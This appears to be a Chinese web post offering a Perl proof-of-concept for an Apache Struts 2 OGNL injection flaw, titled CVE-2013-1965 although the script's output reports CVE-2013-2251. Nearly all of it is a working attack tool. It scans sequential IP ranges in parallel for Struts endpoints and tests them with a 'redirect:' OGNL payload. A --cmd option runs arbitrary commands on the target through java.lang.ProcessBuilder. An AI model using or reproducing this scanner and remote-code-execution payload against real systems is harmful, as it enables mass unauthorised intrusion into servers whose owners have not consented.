# CVE-2013-1965 Apache Struts 2漏洞
==POC==
use strict;
use warnings;
use Parallel::ForkManager;
use IO::Socket;
use Getopt::Long;
use IO::Socket::SSL;
our %workers;
#./script ip/host
# options:
# --scan
# --ipcount (used with --scan)
# --threads=50 (used with --scan)
# --port=8080 (default: all ports)
# --path=/what/ever.action (default: all paths)
# --ssl
# --force (ignores regex for struts detection)
# --timeout=seconds (default: 1)
# --cmd="some command"
# --debug=1-3 1=important output, 2=all output, 3=no output (default:1)
# --log=1/2 yes/no (default:1)
# --logfile=somefile (default:appends log.txt)
my @ports=('80','8080','8088','9080','9081','9082','9083');
my @portssl=('9443,9444'); #not in use
my @paths=(
'/Hello_World_Struts2_Ant/index.action',
'/Wildcard_Method_Struts2_Mvn/Person.action',
'/Basic_Struts2_Ant/index.action',
'/struts2-showcase-2.0.6/tiles/index.action',
'/struts2-jquery-showcase-3.6.0/index.action',
'/struts2-jquery-showcase/index.action',
'/struts2-blank/example/Menu.action',
'/blank/example/Menu.action',
'/struts2-showcase/viewSource.action',
'/Interceptors_Struts2_Ant/index.action',
'/Form_XML_Validation_Struts2_Ant/index.action',
'/Using_Tags_Struts2_Ant/index.action',
'/Spring_Struts2_Ant/index.action',
'/Form_Validation_Struts2_Ant/index.action',
'/struts2/index.action',
'/index.action'
);
my @jbosspaths = ('/struts2-jboss-blank/example/Menu.action','/struts2-blank/example/Menu.action','/jboss-blank/example/Menu.action','/blank/example/Menu.action','/index.action','/struts2/index.action');
my ($path,$port,$ssl,$scan,$threads,$ipcount,$force,$type,$timeout,$cmd,$debug,$log,$logfile) = "";
GetOptions ("ipcount=i" => \$ipcount,
"timeout=i" => \$timeout,
"debug=i" => \$debug,
"log=i" => \$log,
"logfile=s" => \$logfile,
"cmd=s" => \$cmd,
"scan" => \$scan,
"port=s" => \$port,
"threads=i" => \$threads,
"path=s" => \$path,
"ssl" => \$ssl,
"force" => \$force)
or die("Error in command line arguments\n");
if (!$log) { $log = 1; }
if (!$logfile) { $logfile = 'log.txt'; }
if (!$debug) { $debug = 1; }
if (!$timeout) { $timeout = 1; }
use constant PATIENCE => $timeout; # seconds
if ($path) { @paths=($path); }
if ($port) { @ports=($port); }
if (!$ipcount) { $ipcount = 1; }
if (!$threads) { $threads = 1; }
my @target=split('\.',$ARGV[0]); #123.123.123.1
main();
sub main {
outp("Threads Set: $threads",1);
outp("Number of IPs to Scan: $ipcount",1);
outp("Paths Loaded: ". ($#paths + 1),1);
outp("Ports Loaded: ". ($#ports + 1),1);
if ($log == 1) { outp("Using Log File: $logfile",1); }
else { outp("Using Log File: No",1); }
outp("Output Level: ". $debug,1);
outp("Starting Apache Struts Scanner..\n",1);
if ($scan) {
if ($threads > 1) {
my $pm = Parallel::ForkManager->new($threads);
$pm->run_on_wait(\&dismiss_hung_workers, 1); # 1 second between callback invocations
for my $id (1 .. $ipcount) {
if (my $pid = $pm->start) {
$workers{$pid} = time();
next;
}
my $ip = getip();
scan($ip,$id);
$pm->finish;
}
$pm->wait_all_children;
}
else {
for (1 .. $ipcount) {
my $ip = getip();
scan($ip,'1');
}
}
}
elsif ($cmd) { rce($ARGV[0],$cmd); }
else { scan($ARGV[0],'1'); }
outp("\nApache Struts Scanner Finished.",1);
}
sub dismiss_hung_workers {
while (my ($pid, $started_at) = each %workers) {
next unless time() - $started_at > PATIENCE;
kill TERM => $pid;
delete $workers{$pid};
}
}
sub getip {
if ($target[3] == 255) {
if ($target[2] == 255) {
if ($target[1] == 255) {
if ($target[0] == 255) { outp("wtf are you doing?",1);exit; }
else { $target[1] = 0; $target[2] = 0; $target[3] = 0; $target[0] = ($target[0] + 1); };
}
else { $target[2] = 0; $target[3] = 0; $target[1] = ($target[1] + 1); };
}
else { $target[3] = 0; $target[2] = ($target[2] + 1); };
}
else { $target[3] = ($target[3] + 1); }
return "$target[0].$target[1].$target[2].$target[3]";
}
sub scan {
my $id = "\[tID: $_[1]\]:";
my $joinports = join(',',@ports);
outp("$id Scanning IP: ".$_[0]." (ports: $joinports)",2);
foreach my $port (@ports) {
my $req = " HTTP/1.1\r\n"
. "Host: $_[0]\r\n"
. "Referer: http://$_[0]\r\n"
. "User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24\r\n"
. "Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n"
. "Accept-Encoding: *\r\n"
. "Accept-Language: en-US;q=0.6,en;q=0.4\r\n"
. "Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.3\r\n"
. "Connection: close\r\n\r\n";
my ($sock,$check,$socket,$filter) = "";
if (!$force) {
#attempts to id the server and detect a page to test
$socket= IO::Socket::INET->new(PeerAddr=>"$_[0]:$port",Proto=>'tcp',Timeout=>$timeout);
if ($ssl) { $socket= IO::Socket::SSL->new(PeerHost => "$_[0]",PeerPort => "$port",Timeout=>$timeout); }
if ($socket) {
$check = "GET /";
print $socket $check.$req;
while (<$socket>) { $sock = $sock.$_; }
$socket->close();
if ($sock =~ /(Tomcat|Apache-Coyote|Glassfish|JBoss|Websphere|Weblogic|\.action|JSESSIONID|The document has moved|Moved Temporarily|Apache)/) { $filter = 1;$type=$1; }
my $detect = "";
if ($sock =~ /(location\=\"(.*)\"\;)/ and length($sock) < 500) { $detect = "$2"; }
elsif ($sock =~ /(window.open.?\(\'(.*)\))/) {
my $found = $2;
my @split = split("'", $found);
if ($split[0] =~ /;/) {
my @split = split(';', $split[0]);
if ($split[0]) { $found = $split[0]; }
}
else { $found = $split[0]; }
if ($found =~ /^\/.*\.action$/) { outp("Valid path found to test0: $found",2); @paths=($found); $filter = 1;$type="auto"; }
else { $detect = "$found";outp("Redirect Found#0: $found",2); }
}
elsif ($sock =~ /(The document has moved.*href.?\"(.*)\">)/) {
my $cut = $2;
print "here: $cut\n";
if ($cut =~ /http/) {
#print "here:3\n";
my @split = split('/', $cut);
my $eee = "";
foreach (3..$#split) { $eee = $eee."/".$split[$_]; }
if ($eee =~ /^\/.*\.action$/) { outp("$id Valid path found to test3: $eee",2); @paths=($eee); $filter = 1;$type="auto"; }
elsif ($eee =~ /^\//){ $detect = "$eee"; }#outp("$id Redirect Found#4: $eee",2); }
}
elsif ($cut =~ /^(\/.*\.action)$/) { my $found = $1;outp("$id Valid path found to test3: $found",2); @paths=($found); $filter = 1;$type="auto"; }
elsif ($cut =~ /^(\/.*\/)$/) { $detect= $1; outp("Redirect Found#3: $detect",2); }
}
#}
else { print "$id SOCKc: $sock\n";$socket->close();next; }
if ($detect) {
#print "$id Redirect Detected: $detect\n";
$socket= IO::Socket::INET->new(PeerAddr=>"$_[0]:$port",Proto=>'tcp',Timeout=>$timeout);
if ($ssl) { $socket= IO::Socket::SSL->new(PeerHost => "$_[0]",PeerPort => "$port",Timeout=>$timeout); }
if ($socket) {
$check = "GET $detect/";
print $socket $check.$req;
$sock = "";
while (<$socket>) { $sock = $sock.$_; }
print "$id Followed Redirect to: $detect\n";
if ($sock =~ /(Tomcat|Apache-Coyote|Glassfish|JBoss|Websphere|Weblogic|\.action|JSESSIONID|The document has moved|Moved Temporarily|Apache)/) { $filter = 1;$type=$1; }
if ($sock =~ /(window\.open.?\(\'(.*)\))/) {
my $found = $2;
my @split = split("'", $found);
if ($split[0] =~ /;/) {
my @split = split(';', $split[0]);
if ($split[0]) { $found = $split[0]; }
}
else { $found = $split[0]; }
if ($found =~ /^\/.*\.action$/) { outp("$id Valid path found to test1: $found",2);@paths=($found); $filter = 1;$type="auto"; }
else { outp("Debug Redirect Found#1: $found",2); }
}
elsif ($sock =~ /(location\=\"(.*)\"\;)/) {
my $found = $2;
if ($found =~ /^\/.*\.action$/) { outp("$id Valid path found to test2: $found",2);@paths=($found); $filter = 1;$type="auto"; }
elsif ($found =~ /http/) {
#print "here:4\n";
my @split = split('/', $found);
my $eee = "";
foreach (3..$#split) { $eee = $eee."/".$split[$_]; }
if ($eee =~ /^\/.*\.action$/) { outp("Valid path found to test3: $eee",2); @paths=($eee); $filter = 1;$type="auto"; }
else { outp("Debug Redirect Found#2: $found",2); }
}
else { outp("Debug Redirect Found#1: $found",2); }
}
elsif ($sock =~ /(Location\: (.*)\n)/) {
my $found = $2;
$found =~ s/\n//g;
$found =~ s/\r//g;
if ($found =~ /^\/.*\.action$/) { outp("Valid path found to test4: $found",2);@paths=($found); $filter = 1;$type="auto"; }
elsif ($found =~ /http/) {
#print "here:4\n";
my @split = split('/', $found);
my $eee = "";
foreach (3..$#split) { $eee = $eee."/".$split[$_]; }
if ($eee =~ /^\/.*\.action$/) { outp("$id Valid path found to test: $eee",2); @paths=($eee); $filter = 1;$type="auto"; }
else { outp("$id Debug Redirect Found#4: $eee",2); }
}
else { outp("$id Debug Redirect Found#3: $found",2); }
}
$socket->close();#print $sock."\n";
}
}
}
else { outp("$id SOCK: error",2);next; }
}
if (($filter == 1) or ($force)) {
if ($force) { $type = "forced"; }
outp("$id \"$type\" detected on: $_[0]:$port",2);
outp("$id Now Checking for Struts..",2);
foreach my $p (@paths) {
if (!$ssl) { $socket= IO::Socket::INET->new(PeerAddr=>"$_[0]:$port",Proto=>'tcp',Timeout=>$timeout); }
else { $socket= IO::Socket::SSL->new(PeerHost => "$_[0]",PeerPort => "$port",Timeout=>$timeout); }
if ($socket) {
$check = "GET $p";
print $socket $check.$req;
$sock = "";
if (<$socket> =~ /200 OK/) {
outp("$id Apache Struts Found! (path verified)",2);
outp("$id Checking if Struts is Vuln.. (trying ". ( $#paths + 1) ." paths)",2);
$socket->close();
if (!$ssl) { $socket= IO::Socket::INET->new(PeerAddr=>"$_[0]:$port",Proto=>'tcp',Timeout=>$timeout); }
else { $socket= IO::Socket::SSL->new(PeerHost => "$_[0]",PeerPort => "$port",Timeout=>$timeout); }
if ($socket) {
$check = "GET $p?redirect:%25{new%20java.io.File('.').getCanonicalPath().concat({3*8888})}";
print $socket $check.$req;
$sock = "";
while (<$socket>) { $sock = $sock.$_; }
if ($sock =~ /\:\/\/(.*)\[26664/) {
my $match = "";
my @split = split('/',$p);
if ($split[1]) {
@split = split($split[1],$1);
if ($split[1]) { $match = $split[1]; }
}
if ($match =~ /\:/) { outp("$id Apache Struts Vuln Found (Windows: $match): $_[0]:$port $p (CVE: 2013-2251)",1); }
elsif ($match) { outp("$id Apache Struts Vuln Found (Linux: $match): $_[0]:$port $p (CVE: 2013-2251)",1); }
else { outp("$id Apache Struts Vuln Found (Linux: unknown_path): $_[0]:$port $p (CVE: 2013-2251)",1); }
}
#else { outp("$id Apache Struts Vuln Not Found!\n$sock",2); } #extra debug
else { outp("$id Apache Struts Vuln Not Found!\n",2); }
$socket->close();
}
else { outp("$id Socket Error #1",2); }
last;
}
else { $socket->close(); }
}
else { outp("$id Socket Error #0",2); }
outp("$id No Struts Found!",2);
}
}
#else { outp("SOCK: $sock",2); $socket->close(); } extra debug
else { ouutp("$id Doesnt match filter!",2);$socket->close(); }
# }
}
}
sub rce {
my $cmd = $_[1];
$cmd =~ s/ /'\,'/g;
$cmd = "'$cmd'";
#print "cmd: $cmd\n";
my $socket= IO::Socket::INET->new(PeerAddr=>"$_[0]:$ports[0]",Proto=>'tcp',Timeout=>$timeout);
if ($ssl) { $socket= IO::Socket::SSL->new(PeerHost => "$_[0]",PeerPort => "$ports[0]",Timeout=>$timeout); }
if ($socket) {
my $p = $paths[0];
my @split = ();
my $c = "%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{$cmd})).start()}";
my $check = "GET $p?redirect:$c";
my $full = "($_[0]:$ports[0]$p?redirect:$c)";
#print "check: $check\n";
my $req = " HTTP/1.1\r\n"
. "Host: $_[0]\r\n"
. "Referer: http://$_[0]\r\n"
. "User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24\r\n"
. "Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n"
. "Accept-Encoding: *\r\n"
. "Accept-Language: en-US;q=0.6,en;q=0.4\r\n"
. "Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.3\r\n"
. "Connection: close\r\n\r\n";
print $socket $check.$req;
my $sock = "";
#print <$socket>;
while (<$socket>) {
if ($_ =~ /Location/) { @split = split('/',$_); }
}
my $match = "";
if ($split[0] and $split[0] =~ /http/) {
$match = $split[$#split];
}
if (!$match) { $match = "error_no_results"; }
$match =~ s/\n//g;
$match =~ s/\r//g;
outp("Result: $match",1,$full);
$socket->close();
}
}
sub outp {
#1 debug output level 1 (more important)
#2 debug output all
#3 no ouput
my $data = $_[0];
my $write = $_[1];
my $extra = "";
my $log1 = 0;
if ($_[2]) { $extra = $_[2]; }
if ($write == 2 and $debug == 2) { print $data."\n";$log1=1; }
elsif ($write == 1 and $debug <= 2) { print $data."\n";$log1=1; }
if ($log == 1 and $log1 == 1) {
open(LOG, '>>'.$logfile);
if ($extra) { print LOG $extra."\n".$data."\n"; }
else { print LOG $data."\n"; }
close(LOG);
}
}
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END













请登录后查看评论内容